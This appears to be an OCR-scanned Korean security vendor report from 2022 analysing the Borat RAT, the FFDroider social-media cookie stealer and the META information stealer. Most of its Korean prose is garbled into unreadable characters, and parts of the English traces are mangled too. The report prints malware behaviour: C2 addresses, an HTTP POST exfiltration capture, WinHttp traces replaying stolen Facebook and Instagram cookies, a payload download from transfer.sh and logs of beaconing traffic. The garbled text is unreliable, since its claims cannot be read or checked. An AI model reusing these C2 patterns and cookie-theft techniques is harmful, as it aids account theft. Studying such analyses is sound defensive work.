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MOUR FILES ARE ENCRVPTED !!! -

TO DECRYPT, FOLLOW THE INSTRUCT | OWS:

To recover data wou need decrypt tool.

To get the decrypt tool wou should:
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MZ22 ¥4 & EZ0|=012! Borat &

New Borat remote access malware is no laughing matter

ME2 4 M4 EZ0|=0HRAT)Q! BoratO| Ci2AL! OBINAM HAE|RISLICE Ol= DDoS &4, UAC 2%,
2HMQIO] HiES £3517| I8t AFR0| 22 7|52 HZEH|CL.

' Borat~RAT

#1 Remote Administration Tool

[0]0|X| £H] https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/

B2 St Borats AFEY E9 LfoiAIe| OpRAL} 7|2ES 2BHS| Mofolal m, WIESZ X[FHo| HZ5t
Os9| 2E EM 2XH2 52 & UAsLInt

FEATURES

Remote hVNC Remote Fun Remote System

[22] Borate| 7|5 & Y&

[OlO|X| &M] https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/

ESTsecurity 17



—l EHL 7'0
Borat RATO| HOHE|L] RU=X], SHXES AO|0f|M XHREH SREl=Al= 26| §45LICH Cycle2 O
bR A, HRU 2E, MH QIBEAM7E ZehEl IH7[X| YEllZ MISEICD BRSLICH

l Borat Borat

Name Date modified Type

. bin -03-2022 11:08 File folder

&, BoratRat.exe 12- 22 16:13 Application

@ BoratRat.exe.config 1 22 15:5 XML Configuratio...

2} ServerCertificate.p12 10-03-2022 1&:10 Personal Informati..
[22!] Borat RAT fZ=np LY mpe!
[OI0]X] Z£H] https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat

O] E=Z0| F0fe| 7|52 of2fiet Z&LLt.

7122 - 7| ¢ 2LEZ 8L 7|5 = txt Dol XE
0] - T|SHAte| AAR| 290 HO|2=F RS Borats S3ll HELE XIS dd
DDoS - ol AAZ-Q| 2|AAS Sdl 7HH|X| E2HES B2l MHZ FE

QLR =3 - 7tst 2 00|23 E S3ll LLILE =30t wav IfE0| XF

U7 =3t - ST A WS Sof HICIR =3t

K| B - 7| AlAE RE 27

TZNA &2 (Process hollowing) - HA! TZA|A0]| MBS ARlSH0] EIX| 3|T]

S

[
mm

tE| - Chromium 7|2 &l E2FK0| MEE AE F2|HAE B
Discord E2 &% - I|sHXt2| Discord E2 EHF

7[EL 7I5 - QCI2 1Y, OtRA HE B, Hig Sl £707|, 2 BAIE £717], 014 29, ELE 17|, 8l ofH
HA| A2 A SO= TSHALS Eolidtl E2tAEA| 5P|

ESTsecurity « hE2022 ESTsecurity C
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Stub Features Password Recovery RAT + HVNC

Change client name All Chrome based + Edge

Anti kill

Disable defender HVNC Clone Profile
Hide file Hidden Desktop
Hide folder Hidden Browsers

Start up/persistence Support WebGl

Change registry name Remote Download+Execute
Encrypted connection

Change assembly clone

Export as ShellCode

Enable key logger Offline/Online

Much more

[22] Borate| 7t 7|
[0]0|X| £H] https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/

Borat2 ?I2| 7522 QI8 2EXOZ RAT, AL0|f0f, 2idd017} E7] =0l 7|7[0l|M Ciret ofd a2

st 4 UBLIC,

Bleeping Computer0f|A] =l At slieh Ho|2E Als mP0| |2 AsyncRATZ AEE|USS YAMSLICE
2t X[&XH= O1E 7(|Bte = RAMES 7ts40| SLICh

[E]
https://www.bleepingcomputer.com/news/security/new-borat-remote-access-malware-is-no-laughing-matter/
https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/ (IOC)
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https://www.bleepingcomputer.com/news/security/new-borat-remote-access-malware-is-no-laughing-matter/
https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/%20(IOC)

mjojAs, QAEIDH, EQIE AES EXl= MZ=2 FFDroider 243 EA

New FFDroider malware steals Facebook, Instagram, Twitter accounts

Ae|ddat 27|1E FX|12 Tfohxfel A4 0[C|o] AZE EFok= MZ22 QEAZE S

Het@xof| MEE
HHE|USLIC.

FFDroider7}

OI'J

A O|olo] A, 53] ISE AE2 SAXE 7ty ot A7| 5l AETE BIEE et Clefel SH0| ALEY
ol7

2
= Q7| w20l sHHSA| 21717t BSLIC

Ol2fet A2 A4 AO|EQ| & Z21E0| MY 4 S AR 24X P 2%l I|HAES Eoff 2 1S
ANE 4= Q7| 20| 2 O ojE™IL|CY,

ATEQ] 32 Soff ufZEH
Zscalere| HARIE2 MZ
SIHNSLICE

bt
rd
0x
M|H
mo
AN |
rc
|O
HU
rot
>
=
|'__0'_|'
N
>
i
1z
mo

OIE AYRIS XHIH 5

Ho

M2 AT UP‘UPXIE FFDroider= AZES|0f I3 Rz ATELQ|0, AR, 7|El IUZ EHE AIO|EO|A]
CHRZ =510 ZHAIELCE

oliet oS AlSHH FFDroider AX[Z|X[2F Ol= BIXIZE LS| 2/l Telegram HIATE HOZ Q|EBILICE

QUEH AHE|P, OHITEE "FFDroider'ats HIES BXIAER| 712 MAEHICE

—_

dword ptr ss:
dword p

ebot. &Reglreatekeyw>]=<advapi32.RegCreatekeyn:>

$1B677E #0

il pump 3 W Dump 4 W Dump 5 8w 0 | L"softwar e\ Ffdroider \\FFDroider"

[D2]] ZEE Al2=o)| 2IKIAER| 7|S F=7F5k= FFDroider
[0]0IX| £X] http://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users

ESTsecurity « hE2022 ESTsecurity Corp Al rig i -



Zscaler?| A2l IR ETL DfohiRfe| 7(7]0 ZXIE= S BoF= EER? AES S/HUSLHIC
; Downloa_d Y - E——= A
( Ffeewa;ejlcfaCm IO FFDroider | >  Checks
\ Wotalers ownload.studymathlive.com Stealer 4 : Pre-defined
R _ _— ‘. Browsers list _/

“Stealing cookie an
credentials of specifi
social media platform

Send the stolen data /Grab account detaiis\~,k___._—-<:.f""Relay cookie to -
. to CnC ; /' \_and access token / —I \_ authenticate / ~~— |

I

[D2!] FFDroidere| ¢ & ¥ &8

[0]0]X| ZM] http://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users

FFDroider= Google Chrome(Chrome 7|t B2t I8 Mozilla Firefox, Internet Explorer,
Microsoft Edge0i| M&E 27| 8! AY A2[HES LEILICL

oliE 2T E= Chromium SQLite 77|15 2411 THJSHH Windows Crypt API, £3| CryptUnProtectData
7152 &4l SQLite I2|HIE =S MESID SH=SRILIC

Sl EXH= InternetGetCookieRXW 2! IEGet ProtectedMode 7|2 22 7|50]| Explorer %! Edgedi| XMZH=
DE 7|18 NES| s A5z CIE ERtX2t SARRILICE

Fesn+10n1

C |L"https://www. Tacebook. com”

N Dump 3 Ml Dump 4 Ml Dump 5

01 00 00 00|74 1E 00 0O

[a2] IEOHH Facebook FIN|E BXl= dHIE s
[0]0IX| ZX] http://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users

2 N U= =2 SOl ALK 0|2t HARIEE Yt HAERZ Mot O HTTP POST 282 &4l C2
ANHZ MSEILICE O] ZH|QI0f|AM C2 FA= http[:]//152[.]32[.]228].]19/seemorebty R &L |Ct.

ESTsecurity « hE2022 ESTsecurity Corp Al rig i .



POST /seemorebty/|HTTP/1.1

Connection: Keep-Alive
Accept: text/html apphcatlon/xhtm1+xml application/xml;q=@.9,image webp,image apng, q=8.8,application signed-exchange v=b3
guag 9

(KHTML, like Gecko) Chrome 7@.0.3538.110 Safari 537.36

Host: 152. 32 228 19

WLXBBNVt9j2XI09EdfNN30Q4U/QT110fgiYYODFEI88bAA+3A0twW11GrC44p6a0VgzgbvYTA
+h9wLDgrBb6dKZCzwlenDxP/c2Z0CSnEP/sDmMNVm2nwyIHDNpJtnwcSzkY1XwAgssk+/gUaw
HIXYt0/7kZHUxDwYam/pkpX1Ys5t8Y3WVGavU3bvekViDt4xRz+qqISBB8ZmIARPAKCholApx
1HIGvheQs3STu+1SMWUOeIFluHjRPAZWNiICCUENUNCP7BIPi8/4Au9YIIPrVS4vSu2ihef2
sUdTxbWMqGxdL8X/D9+08QF SpNEW+tGSosB2ulirRWBe / YWMFXTGcIF2ccCoPtAVOPZZPAdsm
IwSGNGchqdS0q15foGOR4YEMGpQ8n4rjgRZWIGOMHhBCmyvuj4F43BEWPPzeUQh7PcKZxAdHT
Za/c8+ygGN+Tq3geNzd/u93kdei3EE1Smu2GLCB4kULkgjX222kRnfqrvwzm8KBi4iVernsU
OmcszZzjPlqadm/HHS/eFiEnyEUkvIWMI+ZXxIyWlb@6/BAGDNO+9gVudEXMHWEIQ@FXtSDI%y
070vBUV6/EUD+YwvUqV+onfGxMkY8Wt8mIY/r151q3onZa04GnEyqCObVAqC/ pGodjfYAy87
IyysQIehvaQBuyaTGw/SRKOLovKwupJytOa3TtEzp4KYpLHxmrmUjzDNeFPAbAhRFRXY4QAZ
8zPXK41YKridudSMwmGiZZd1JIFYjHIie4tCQIU1h1F1qs1oNT@B6US/XV1DHpfAMcAa9zGp+
19CPGNGIS87QUWUrmLUCESqoLIsB7WFz8h6tQqmEQn3dloOmz/tGCrShHg3IKb2QR/DytZUO
jpm57rRF6q7Vxkrtp8H/YF71iXZh0BRGzvnSfLFerv3gTeYUo7hhzqXXkKIICKRpvivG/TBx
Vd9PHkM6Ets xR/ XNENGquwYgShZx@PmzTTISENPZeXy132cn85V+qMt zBMMyOcNHFdmaYszi
AHszQiCz4GcIg6CuYmyxubvPz3859cqlygkQLg==

HTTP/1.1 200 OK

Date: Thu, 83 Mar 2022 84:37:51 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache
Vary: Accept-Encoding

[T2POST 22 S%t ELHHolH 8&
[0]0IX| ZH] http://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users

24 0|Cjo] AY =
CHE B2 THARIE 23| E20| S0iet H2|, FFDroidere| 2FAh= @ Bet@Xof| MEe 2= F2HES k2=
A2 OfgLICY.

.|

0|2 Facebook, Instagram, Amazon, eBay, Etsy, Twitter, WAX Cloud X|Zf ZES Tast A4 O|C|0] AN
I 220l AF AO|ES| F2[HdE SK=HTh ESeLch

0|2 =H= ol2{et EMZ0A 2IBdk= ol AFY & U= |2 F7|1E SXl= A0|H, AdHIFE= 34 Hi}
& SM0l|M i A™E EHIAESIL|CL

WinHttpOpen (“Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0,3538 110 5afari 537,367, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, MULL, MULL, 0]
WinHttpConnect [ 0:01145e25, "www.facebook.com”, INTERMNET_DEFAULT_HTTPS_PORT, 0}

\WinHttpOpenRequest [ 0x0119c4d0, "GET", /settings?cquick=j Ml e&cquick_token= AN - ctar g et = https3:3.4362F3%2Fuwww.facebook.com”, NULL, NULL, MULL, WINHTTP_FLAG_SECURE )
IS C O DL Io o e, W P OO SECUTIT TLAeS, oaoo o, 3]

WinHttpSetOption {0x0113ec78, WINHTTP_OPTION_CLIENT_CERT_COMNTEXT, NULL, 0 )
WinHttpSetstatusCallback { 0x0119c78, 04007 d4fc0, WINHTTP_CALLBACK_FLAG_ALL NOTIFICATIONS, 0 )

WinHttpAddRequestHeaders (0x0119ec78, “Accept: text/html,application/xhtmi=xmlapplication/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3", 124, WINHTTP_ADDREQ_FLAG_ADD )
WinHttpAddRequestHeaders [ 0:x01192c78, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36%, 127, WINHTTP_ADDRECQ_FLAG_ADD )
WinHttpAddRequestHeaders [ 0:01192c78, "Accept-Encoding: gzip, deflate”, 30, WINHTTP_ADDREQ_FLAG_ADD )

WinHttpA ddRequestHeaders [Dx0119ec78 'A(ceEt-Language: en-LUs, en;gq=09", 31 WlNHTI’P ADDREQ FLAG ADD )

|\”|nHttpdeRequestHeaders {0x0119ec78, "Cookie: c_user=1_l;datr=E—Sh;fﬁoc—'ﬂ;sb..l
WinHttpsendRequest [ 0x0119ec75, NULL, 0, MULL, 0, 0, 73778900 )

[D2] E2I2X0l|lA Facebook 7| &%
[0]0IX| £X] http://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users

0| £04, Facebook0i|A Q50| H2st AL FFDroider= Facebook Z11 22|XI0flM 2= Facebook H|O|X|2}
5013, msixtel &7 4, AFel B+ U XIg WEE 73U Ch
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4 228 Het §

s
i

HJIO

AFESH0] 24 D|T|o] SAFM AP 0 HHRIS HAdtn, T B2 T[ohxtolA|
o

2 olof| 2ot ider= 7% T 2 HOIXIS Zoi AHel ojniY Fa, FrHE

—4 — —_ [=]

<) XIJI' |n$tagra mz71 |_| >0 E, FFDFOlder :i "é! HOo[X|E & Mol 0 = T, SLH=

=, AHEXL 0|5, HIZH 8l 7[EL MR HEE 7FNSLICt

o, AF2XAL 0|, HIZHS 3 7[El MR HEE 7P4SLICL
WinHttpOpen [ "Mozilla/5.0 (Windows NT 10.0; Wine4; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537,367, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, MULL, 0} 0x017197e8
WinHttpConnect (0x01719fe8, “www.instagram.com”, INTERMET_DEFAULT_HTTPS_PORT, 0) 0:x0171F3b3
WinHttpOpenRequest (0x017173b8, “GET", /", NULL, “https://www.facebook.com”, NULL, WINHTTP_FLAG_SECURE) Stolen Instagram Cookie 0x01721aa0
WinHttpSetOption { 0x017 21aa0, WINHTTP_OPTION_SECURITY_FLAGS, 0x050ed ¢, 4) TRUE
WinHttpSetOption ( 0x01721aa0, WINHTTP_OPTION_CLIENT_CERT_CONTEXT, MULL, 0) TRUE
WinHttpSetStatusCallback ( (:01721aa0, 0:00b c4fc0, WINHTTP_CALLBACK_FLAG_ALL_MOTIFICATIONS, 0) MULL
WinHttpAddReguestHeaders [0x017213a0, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=08application signed-exchange v=b3", 124, WINHTTP_ADDREQ _FLAG_ADD ) TRUE

WinHttpAddReguestHeaders (0x017213a0, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64] AppleWebKit 537.36 (KHTML, like Geckg) Chrome 70.0.3538.110 Safari 537,367, 127, WINHTTP_ADDREQ FLAG_ADD ) TRUE
WinHttpAddReguestHeaders (0x01721aa0, "Accept-Language: en-US,en;q=0.9", 31, WINHTTP_ADDREQ FLAG_ADD) TRUE
WinHttpAddReguestHeaders [ 0x aal, "Referer: https://www facebook.com’, 33, W’INHT[F‘,ADDRECLFLAG,&DD] TRUE
WinHttpAddRequestHeaders [ 0x0 ,‘Elaa'JI'Cook\e: |g,d|d=Bm4;|g,nrcb*mld=_\'UQ;sess|0nld=_A14,‘snb|d=.‘.I TRUE
WinHttpSendRequest ( 0x01721aa0, NULL, 0, NULL, 0, 0, 84860584 )

TRUE
[22]] %l Instagram 37| HAE
[OI0]X] Z£A] http://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users

— = A0 L1 O
SM2L= 2

S0|22 H2, 0|52 thedl A2[AES 77|t 5h= 20| o2t Z3HZE0| 27005t O B2 FHE
ZAILICE.

0l

rlo

A

M

M

C2=

HT

.{

=yl

rn
o

W S S AlZE 21O MH{o|M %7t RES CteRSELIC

Zscaler= 3lid 2E0] Cieh XiAet HEE MSSHAl= AURITL THREH 7|50| /UAS B2 flE=2 W O
ZEOHELICY.

Olz{et AHIEE offdotaid 29 CHR22E 8 EXE € o Sl 2ZER0E ARSSHA| gi= A0l ZELICE

[EA]
https://www.bleepingcomputer.com/news/security/new-ffdroider-malware-steals-facebook-instagram-twitter-accounts/
http://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users
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https://www.bleepingcomputer.com/news/security/new-ffdroider-malware-steals-facebook-instagram-twitter-accounts/
http://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users

MZ2 Meta Q& ASIE, ofd A Hm|loj|A] HHIEEN

New Meta information stealer distributed in malspam campaign

AL op AT ZTRI0] AjoJH B2} ALOIOIA Q17| QI AZIZ TR MRS META ANTES
HiESHs 2R LIEALIC,

META= Mars Stealer, BlackGuard2}l &1 M=Z2 QI AElZ & SiLtE, 2BXH= Raccoon Stealer?t 23S

Stieh = LI SES A1 s AIFSS olg-iLict

O] 2 ¢t Eoil $125, Fxi[et $1,00001 EOH=| 1 AUOH RedLine?| JHMEl HFO|2F FOUSL|CE

Hot Oj—_rl:._l Brad DuncanOI LAHSH O] ME22 A QIR METAZL 320f M=XMO=Z AL Chrome,
Edge, Firefox0l| Mzl H|ZHt Ttafetl| X|ZE SX|= Ol AF8EICls A2 & = U= 7471 €Ltk

o] £8 #nelo] ZF M2l2 o|H|ed HE mAZ AIXE|H, tH220t ot A AT E AES ARSEILICE

METASTEALER INFECTION PROCESS

attached HTTPS traffic persistent EXE
Excel enable  to Github for created from
malspam spreadsheet = macros data binary data binary

Web trafﬁc to DLL created HTTP traffic DLL created MetaStealer

transfer.sh from data for base64 from base64 C2 traffic
for data binary text text
binary

[D2l] A= Zmiele] META Zd X9l

211 &

[O|OJX| &X] https:/fisc.sans.edu/

ESTS(_‘(‘,‘UHT}!’ Copyrlght22022 ESTsecurity CorpAll rights resarned 24



4 22Y Hot 8
L L = o =] oo A AO A L
HAIX[= 5] 4520 UX| 4 & ZHdEl 42 OHLX2H TS| B2 XL £2 4= e XF OfX| 2t
071E AFEELICt.
H 95 1t ¥ = Transaction act 29-03_6874 processed - Message (HTML) 7T M — O X
MESSAGE
@ @ Q m f Create New ¥ &% Mark Unread a&
3]
< -~ H- II. Categorize ~
Delete Reply Reply Forward ) If Move Translate Zoom
All M - |" Follow Up ~ -
Delete Respond Quick Steps 1 Move Tags - Editing Zoom -~
Wed 3/30/2022 1:27 PM
[name removed] <info@storemeter.sbs>
Transaction act 29-03_6874 processed
To [recipient's email address]
_ transfer_l'nf02460.x\s (86 KB)
We have approved your fund transfer for 4958 you directed to Home Depot. Our managers have already
sent payment to desired bank account.
All information about transfer 240252 you can view in the attached document.
0 See more about [name removed]. EH ~
[C124] ok o4 A mplo] TEE ofo
[0I0]X| ZX] https:/fisc.sans.edu/

olo o = AISHSE A = = SIAMBIE A ol&
ATZEAIE T2 #IZIRCOIA O VBS IHRRE AME 4 QTS "EHXS THLCHTE 20(7] 2
DocuSign 2t O0|7|E AFEEILICE

H S &= transfer_info2460.xls [Compatibility Mode] - Excel ?7 B - O X
HOME = INSERT  PAGELAYOUT ~FORMULAS DATA  REVIEW  VIEW Sign in
'“D X lCaiboi :1117 i s ==@9o = iGeneraI ~| [E&Conditional Formatting~  &=Insert ~ X ~ 37~
By~ - - —_ $-% » [PromatasTable~ ExDelete -~ [¢]~ db~
Pate  BIU-H-O-A-s=s=s=H" oo [ Cell Styles - & Format~ &~
Clipboard & Font o Alignment & Number & Styles Cells Editing ~
1" SECURITY WARNING Macros have been disabled. | Enable Content | x
L11 v| i S v
A B C D E F G H J K L M N
1
2
. D '
. ocu , $ THIS DOCUMENT IS PROTECTED
= ®
6
7
8
9
10
1| [I— i
12 To open the document, follow steps:
13
14
12 This document is only avallable for desktop version of
= Miaosoft Office Word
18
10 [lirl: Caahla adibina hodtan fnam tha vnllao: han shoon 1|5
| Jnerl | ® »
READY H M ——+ 100%

[O2] ABAP 2EIXE SHS5IER RESH= DocuSign 07
[0I0]X] ZX] https:/fisc.sans.edu/
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4 22Y Hot 3

L

Jp> O

Ral

ESTSEEI{H?_}’ Copyright®2022 EST

mn Ir

™ GitHubS Z&ot AfO|E Ch==0flM DLL 5! & mtd

mjo

TSIt Cheet Ho|2ES

| e

base642 AURGE0] QUALE 22t ATEQ09] EXIS =[] 2/ HIo|ETt
0f Ofefl= = CI2Z2E0M HIO|EJt Bl ME & ofLtgiL|ct.

-4 010 Editor - C:\Users\User\Downloads\Winiomez_Dablvtrg.bmp.bin ol -2 ==
Eile Edit Search View Format Scripts Templates Tools Window Help
O-B-Hd@ @) $CER@ 2BE» BiaaMH=a » B~
Startup | Winiornez_Dablvtrg.bmp.bin 3 |
Edil X

Run Script Run Template

EC90h: 00 00 00 48 00 00 20 08 00 00 0O 0O 00 0O 00 QO
ECAOh: 00 00 00 08 00 00 20 00 00 00 00 0O 00 0O 00 OO
ECBOh: 00 00 00 00 0O 00 0O 0O OO 0O 0O 0O 00 0O 00 0O
ECCOh: 00 00 00 00 00 00 00 00 0O 00 00 0O 00 0O 00 0O
ECDOh: 00 00 00 00 00 00 0O 00 0O 00 0O OC 00 OB 40 00
ECEOh: 00 00 00 00 00 00 00 00 0O 00 00 0O 00 0O 00 OO
ECFOh: 00 00 03 7C 00 0B 20 00 00 00 00 4B 00 OB 04 %0
EDOOh: 00 00 00 00 00 00 00 00 0O 00 00 OF 00 0O 00 0O
ED10h: 00 00 10 00 0O 10 0O 00 0O 00 10 00 00 10 00 0O
ED20h: 85 40 00 03 00 00 00 00 00 00 02 00 00 OB €0 0O
ED30h: 00 00 00 00 0O 00 OO 04 00 00 0O 0O 00 QO 00 04
ED40h: 00 00 02 00 00 00 20 00 0O 40 00 00 00 OB 20 QO
ED50h: 00 00 20 00 00 0B 04 DE 00 00 00 0O 00 QO 06 QO
ED60Oh: 00 OR E6 00 00 0Oé 01 0B 21 OE 00 EO 00 00 00 0O
ED70h: 00 00 00 00 &2 3C BE 11 00 03 01 4C 00 00 45 50
ED80Oh: 00 00 00 00 00 00 00 24 OA 0D OD 2E 65 64 6F 6D ne
ED90h: 20 53 4F 44 20 €E 6% 20 6E 75 72 20 65 62 20 74 S0D ni nur eb t
EDAOh: 6F 6E 6E 61 63 20 6D 61 72 67 6F 72 70 20 73 69 onnac margorp si
EDBOh: 68 54 21 CD 4C 01 B§ 21 CD 09 B4 00 OE BA 1F OE hT!In. 'f.-..°..
EDCOh: 00 00 00 80 0O 00 0O 00 OO 00 00 QO 00 QO 00 0O
EDDOh: 00 00 00 00 00O 00 OO 00 OO OO OO OO OO 0O 00 00
EDEOh: 00 00 00 00 00 00 0O 40 00 00 00 00 OO 0O 00 BB
EDFOh: 00 00 FF FF 00 00 00 04 00 00 00 03 00 90 52 4D
REEANK -

Opened file 'C\Users\User\Downloac Pos: 0 [Oh] Val: 0 Oh 00000000b Size: 716288 ANSI LT W OVR .

[2E] ¥ HIO|E #=MZ XZHEI DLL
[0I0]X| ZX] https:/fisc.sans.edu/

St b b b o e e 1 e e e e e e e e

HO|2CE= MEHOoZ MAME|YS JH5A0| Q= "gwveqwvegqw.exe'2hs 0|ECZ ZHEE{0AN OfMESE|H
Mg A7 2ol Mf AIXIAEZ| 7|12 FIFEfL|CH.

[ Registry Editor = ] X
File Edit View Favorites Help

Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

> | TokenBroker A || Name Type Data
>  Windows REG_SZ (value not set)

Winlogon REG_DWORD 0x00004a64 (19044)
Windows Script REG_BINARY d2 00 e8 00 06 00 00 00 10 00 00 00 23 €8 6b 57 67 55 4b 00 00 ...
Windows Script He .. REG_SZ AppData\Local;AppData\LocalLow;$Recyde.Bin:OneDrive;Work Fol...
Windows Search REG_DWORD 0x00000000 (0)
Windows Security ‘°]Parse REG_SZ 1
Wisp #4PUUA.. REG_BINARY 23 e8 6b 57 0100 00 00 10 00 14 00 81 35 00 00 ed 35 00 00 ed ...
Xboxlive V|| abShell  REG_SZ explorer.exe,"C:\Users\ \AppData\Roaming\qwveqwveqw.exe", r
< >

v = | Roaming - O X

Home Share View o

<« v 4 AppData > Roaming ) £ Search Roaming
Name Date modified Type Size o
File folder
File folder
File folder
@& qwveqwveqw.exe 3/24/2022 9:59 PM Application 358400 KB ofm v
items -

[22] A BKIAER| 7| 9 of Al I
[0I0]X] ZX] https:/fisc.sans.edu/
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AARI0] ZHEIHSES Soldt 4 Qi 22} WSS 193106191[]16201 QU= T U o A2 EHLS 4o
8l EXE IHRU0|DY, 0] AIARI0| HEEIE S0|c ZHE! AIASOIN 2E ZTRHAS ChA| AIRRILICE

[I[(http.request or tis.handshake.type eq 1) and !(ssdp) - -]ﬂ-"

Time Host Info B
2022-04-05 23:24:21 github.com Client Hello
2022-04-05 23:24:21 raw.githubusercontent.. Client Hello
2022-04-05 23:25:19 transfer.sh GET /get/qT523D/Wlniornez_Dablvtrq.bmp
2022-04-05 23:25:19 transfer.sh Client Hello
2022-04-05 23:25:37 193.106.191.162:1775 GET /avast_update HTTP/1.1
2022-04-05 23:25:39 193.106.191.162:1775 GET /api/client/new HTTP/1.1
2022-04-05 23:25:40 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:27:40 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:29:41 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:31:41 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:33:43 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:35:44 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:37:45 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:39:46 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:41:48 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:43:49 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:45:50 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:47:51 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:49:52 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:51:52 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java
2022-04-05 23:53:53 193.106.191.162:1775 POST /tasks/get_worker HTTP/1.1 , Java

: 2022-04-05 23:55:53 193.106.191.162:1775 POST /tasks/aet worker HTTP/1.1 . Javggggg'

[O&]] Wiresharkol|A] ZiXEl otd Eafim|
[O|O]X] &H] https:/fisc.sans.edu/

ot 71X == & M2, METAZ PowerShell2 E3ll Windows Defenders £=8510] .exe IS ZAH0f| M H|2st
T sl milo| ZAME|X| SEE HSSHH= Z4QlL|Ct

[EM]
https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/
https://www.malware-traffic-analysis.net/2022/04/06/index.html (IOC)
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